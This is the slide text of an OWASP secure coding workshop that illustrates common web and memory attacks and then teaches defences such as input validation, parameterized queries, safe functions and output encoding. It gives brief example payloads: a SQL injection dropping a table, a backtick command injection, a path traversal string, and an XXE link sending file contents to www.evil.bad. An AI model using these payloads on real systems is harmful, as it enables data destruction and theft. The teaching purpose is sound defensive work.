Secure Coding 101 - OWASP University of Ottawa Workshop
- 2. About Me
- 3. About OWASP Ottawa • OWASP Global Organization – Open Web Application Security Project • Educate about Software Security • Monthly meetups at Shopify and Trend Micro • 1000 people registered on Meetup • Follow @OWASP_Ottawa on Twitter • Join OWASP Ottawa on Slack: https://owaspottawa.herokuapp.com
- 4. About Secure that Cert • Study group in the Canadian National Capital Region • Organizes training with subject matter experts • Goal: industry security certifications • Twitter @SecureThatCert
- 5. Big Thank You to Event Sponsors! • University of Ottawa and Dr. Miguel Garzón • for providing the location and logistics for the event • Trend Micro • for hosting and supporting the Secure Coding Dojo training platform
- 6. Agenda • 10:00 – Registration • 10:30 – Presentation: Attack-Grams • 11:00 – Presentation: Security Code Review 101 • 12:00 – Pizza • 12:30 – Secure Coding Dojo Setup • 01:00 – Practice: "Security Code Review Master", Code Review Exercises • 01:30 – Practice: "Secure Coding Black Belt", Common Software Attacks • 04:00 – End of Workshop
- 7. Attack-Grams Common Software Attacks - A Visual Journey
- 8. Authentication Bypass /login /restricted Regular Users Attacker Forceful Browsing Authentication Bypass occurs when the application does not prevent unknown users from accessing restricted functionality.
- 9. Reliance on Untrusted Inputs /restricted Attacker 1. I'm admin ;) 2. Hello admin! Reliance on Untrusted Inputs occurs when the software uses client side validation or simply stores variables used in a security decision somewhere where an attacker could change them.
- 10. Missing/Incorrect Authorization /login /admin Attacker Forceful Browsing /limited Missing or Incorrect Authorization occurs when the application does not properly validate roles and permissions allowing for elevation of privilege.
- 11. Missing Encryption of Sensitive Data /login User user: eve pass: ABCDEFG Database id username password 5163 … 5164 eve ABCDEFG 5165 … Attacker Data breach If sensitive data is not protected, a security incident will lead to a full scale data breach.
- 12. Use of a Broken Crypto Algorithm User Secure Server Expected File Hash MD5, 1234 MD5(Expected File)=1234 MD5 Collision Attack MD5(Malware)=1234 Download Server (Not Secure) Man-in- the- middle Crypto algorithms are continuously put to the test so we must keep them up to date. MD5 is known to be exposed to collisions when two different files can result in the same checksum.
- 13. Unsalted Hash /login User user: eve pass: ABCDEFG Database id username passhash 5163 … 5164 eve E9A92A2… 5165 … Attacker Data breach value md5 sha256 … ABCDEFG BB74… E9A92A2… … Precomputed hashes If password hashes are not salted attackers can still reverse the password.
- 14. Password Guessing /loginAttacker 123456 password … ABCDEFG … Common Passwords Password Policy Lockout Complexity Try '123456' ! Try 'password' ! … Try 'ABCDEFG' ! A password guessing attack is the simplest type of hack. Lack of account lockout and lack of password complexity enforcements allow such attacks to happen.
- 15. Integer Overflow /loginAttacker Credentials Credentials … Credentials attempts = 32767 (MAX_SHORT) attempts = -32768 (< MAX_ATTEMPTS) attempts = 32766 Code that makes a security decision based on a comparison, is bypassed when a counter exceeds the maximum boundary and resets to negative.
- 16. Download of Code Without Integrity Check User Software Malware Download Server (Not Secure) Man-in- the- middle When software is downloaded, especially over an insecure connection, it may be replaced with malware. If an integrity check is not used to verify the file checksum the user will end up executing the replacement.
- 17. Open Redirect www.trusted.good www.evil.bad Regular Users Attacker Phishing E-mail Sites that allow unrestricted redirects may be leveraged in phishing attacks. The users will trust the first part of the URL, but the site will betray their trust by redirecting to the evil page.
- 18. Cross-Site Scripting www.trusted.good Regular Users Attacker Data www.evil.bad When sites reflect user input as is, they allow attackers to insert malicious scripts and alter functionality.
- 19. Cross-Site Request Forgery www.trusted.good Regular Users Attacker $$$ www.bank.com /transferMoney Sites with sensitive requests such as a bank money transfer, must prevent such requests from being hidden within other sites where they will be inadvertently executed by unsuspecting visitors.
- 20. Upload of Dangerous File www.file.server Regular Users Attacker Malicious Web Script Confidential Docs Servers that allow file uploads must prevent executables and scripts from being uploaded by employing a file type whitelist and changing the file name and extension after upload.
- 21. XML External Entities Attacker XML Processor Include /app/password file as &xxe; Link to: http://www.evil.bad/D TD?pass=&xxe; /DTD?pass=jmttN9YC4bK www.evil.bad XML Document Applications that process XML documents must disable processing of external entities. XML External Entities can be used to leak content of files from the host server.
- 22. Path Traversal file.txt Regular UsersAttacker ../../../secret.txt secret.txt file.txt With Path Traversal, also known as a dot dot slash attack, attackers can abuse a download link to access a file from a private directory.
- 23. OS Command Injection Attacker host: ABC`evil.sh` Program Operating System ping ABC`evil.sh` >_ ping ABC >_ evil.sh ping: cannot resolve ABC: Unknown host > : ) OS Command Injection lets attackers piggyback malicious scripts when programs execute shell commands.
- 24. SELECT * FROM users WHERE user='jsmith' SQL Injection Attacker user: jsmith'; DROP TABLE users;-- Program SQL Database Server DROP TABLE users users SQL Injection allows attackers to insert arbitrary database commands.
- 25. Insecure Deserialization Attacker Book Store >_ evil.sh Regular Users Command Object Book Object Deserialization attacks target applications that accept objects in binary or text format. For the attack to be possible, the application must reference unsafe classes that execute code when deserialized in the program memory. Unfortunately many commonly used 3rd party libraries include such classes.
- 26. Buffer Overflow Attacker b: AAAAA Program b = AAAA a = Ai!0 Buffer Overflow allows attackers to cross variable boundaries and alter program data and even instructions.
- 27. Format String Injection Attacker %x Program secret = 123 printf("%x") Log file 123 Format String Injection allows attackers to leak program memory by passing unexpected format strings to the program.
- 28. Preventing Software Attacks The Basic Defenses
- 29. The Tip of the Iceberg Input Validation Parameterized Commands Safe functions Indirect Object References Encrypt Data Safe Memory Management Neutralize Output
- 30. Input Validation • Only allow input that you are expecting • Wouldyou letsomeonein your house ifyou thoughttheyshouldnot bethere? • Block lists are inefficient • Wouldyou maintaina block listofpeoplethatcannot cometoyour house? • Block listing-likegiving keys toyour house toeveryone excepta fewunwanted visitors.
- 33. Answer: Both
- 35. Answer: Top
- 36. Special Characters Not Needed • Many parameter types not intended to contain symbols or punctuation • Many not even intended to contain Unicode characters • Parameters going into database queries such as ID, true/false, asc/desc have even a smaller character set Alphanumeric Alphanumeric + .-_
- 37. Input Validation Function Example
- 38. A Simple Multi-Purpose Function isAlphanumOrEx("true") isAlphanumOrEx("desc") isAlphanumOrEx("21845816438168") isAlphanumOrEx("0x0709750fa566") isAlphanumOrEx("Cr2i7nHq6qiMEs") isAlphanumOrEx("site.local",'.')
- 39. 𝑽𝒖𝒍𝒏𝒆𝒓𝒂𝒃𝒊𝒍𝒊𝒕𝒊𝒆𝒔 = 𝑭( 𝑰𝒏𝒑𝒖𝒕 𝟏 + 𝑽𝒂𝒍𝒊𝒅𝒂𝒕𝒊𝒐𝒏 )
- 40. Attacks Prevented by Input Validation •Injection •Path Traversal •Cross-Site Scripting •Open Redirect •Deserialization …
- 41. How About the Irish? •Names, comments, articles, free text require quotes: •O'Brien, don't, "putting things in quotes" •While input validation reduces the attack surface, it cannot prevent all attacks
- 42. To sum all it up… •Input Validation reduces the attack surface and prevents many attack types •Block-listing is a bad practice •Many input types are alphanumeric •For those input types that need special characters we need different defenses
- 43. CONCATENATION … causes Injection! COMMAND +INPUT= INJECTION
- 44. CONCATENATION Command Constant Parameter 1 Input Parameter 2 Input Command Interpreter … prevent Injection!
- 47. Answer: Top
- 49. Answer: Top
- 50. ORM Frameworks • ORM = Object Relational Mapping • ORM Frameworks keep developers away from SQL Queries • Popular ORM Framework: Hibernate Command Constant Parameter 1 Input Parameter 2 Input Command Interpreter Object Field1 Input Field2 Input
- 51. To sum all it up… •Parameterized Commands handle situations where hazardous chars are needed •ORM Frameworks prevent mistakes
- 52. Problems with Memory •Classic Overflow •Incorrect Calculation of Buffer Size •Off by One •Format String Injection •Use-after-free
- 53. Memory Safer Functions fgets(dest_buff, BUFF_SIZE, stdin) snprintf(dest_buff, BUFF_SIZE, format, …); strncpy(dest_buff, src_buff, BUFF_SIZE); strncmp(buff1, buff2, BUFF_SIZE); If the BUFF_SIZE argument is larger than the size of the buffer: OVERFLOW!
- 54. Check Boundaries •A simple comparison against a known limit constant can go a long way to prevent serious logical attacks. •Pay special attention to comparison operators • < vs <=, <= can lead to off by one •Make sure the same constant is used to define buffer size and check boundaries
- 55. Memory Injection? • Format String Injection is a type of memory flaw caused by concatenating or using user input in a format parameter.
- 56. LET'S PLAY, SPOT THE MEMORY PROBLEM!
- 58. Answer: Bottom (use of dangerous functions)
- 60. Answer: Bottom (incorrect calculation of buffer size)
- 64. Answer: Top (Off by One)
- 65. To sum all it up… •Safer functions allow limiting the number of bytes read into the buffer •Even with safe functions special attention should be paid to size specified, very important to use constants to prevent mistakes •Do not allow user input in format strings •Careful with <= operator
- 66. Securing Data • The General Data Privacy Regulation (GDPR) has put additional emphasis on maintaining the security and privacy of data • Data should be transmitted and stored securely • Cryptography is one critical way to achieve this mandate • Secure protocols: TLS 1.2, TLS 1.3 • Secure ciphers: ECDHE • Strong digital signatures: SHA-2 • Reject invalid certificates and even more, enforce certificate pinning • Strong authenticated symmetric encryption in transit and at rest: AES 256 GCM • Other ways: • Anonymize private data • Do not collect or send private data • Short data retention • Ensure customer control over own data
- 67. LET'S PLAY, SPOT THE DATA BREACH!
- 69. Answer: Both (Top password stored with weak un-salted hash, bottom uses the same salt value for all users)
- 71. Answer: Bottom (User and password transmitted in clear text)
- 73. Answer: Top (Person details and credit card number saved in the clear to S3 bucket)
- 74. To sum all it up… •Avoid collecting data for individuals •Pseudonymize the data. Strong salted hashes can be used, replace key data with * •Use strong cryptographic algorithms •All communication should be encrypted. •Data classification is risky so when in doubt, encrypt all data
- 75. Protect the Web UIs • Enterprise applications are using Web UIs • HTML is good looking, platform independent and powerful • JavaScript libraries such as jQuery, React and Angular make UIs responsive and versatile
- 76. Cross-Site Scripting (XSS) • The ability to inject arbitrary JavaScript into a web page • Reflected • Stored • DOM based • Easy to introduce • Easy to find • Leads to data breaches through spoofing attacks
- 77. Defending against XSS • Input validation ;) • Neutralize Output • Server Pages -> HTML Encoding (Escaping) • < becomes < • > becomes > • " becomes " • JavaScript (DOM XSS) • Dangerous Attributes • innerHTML • src • onLoad, onClick, etc… • Dangerous Functions • eval • setTimeout • setInterval
- 78. HTML Encoding Neutralizes XSS
- 81. Answer: Bottom (User input is written into the page as is)
- 83. Answer: Bottom (Data is written into a dangerous HTML attribute)
- 85. Answer: Top (Code is executing a dangerous function, actually an example of code injection)
- 87. Answer: Bottom (Input is being reflected between the <script> tags)
- 88. To sum all it up… •XSS is easy to introduce and easy to find •Encoding should be applied to all server side generated content. •Additional encoding of single quotes required •Dangerous HTML contexts should be handled with care or avoided
- 90. LET'S PLAY, SPOT THE PATH TRAVERSAL!
- 92. Answer: Top (Input is concatenated to a system path allowing manipulation)
- 93. To sum all it up… •Reduce the attack surface by enforcing accessing objects through identifiers rather than actual representation •Identifiers can be input validated easier, also solve encoding issues
- 96. Resources – Search terms and links • Secure Coding Dojo Github: https://github.com/trendmicro/SecureCodingDojo • Security Code Review 101 Series (Medium): https://medium.com/@paul_io/security-code-review-101- a3c593dc6854 • Attack-Grams: https://medium.com/@paul_io/attack-grams- 137d99772d07 • OWASP: https://www.owasp.org/
- 97. Practice Time owasp.trendmicro.com Github: Secure Coding Dojo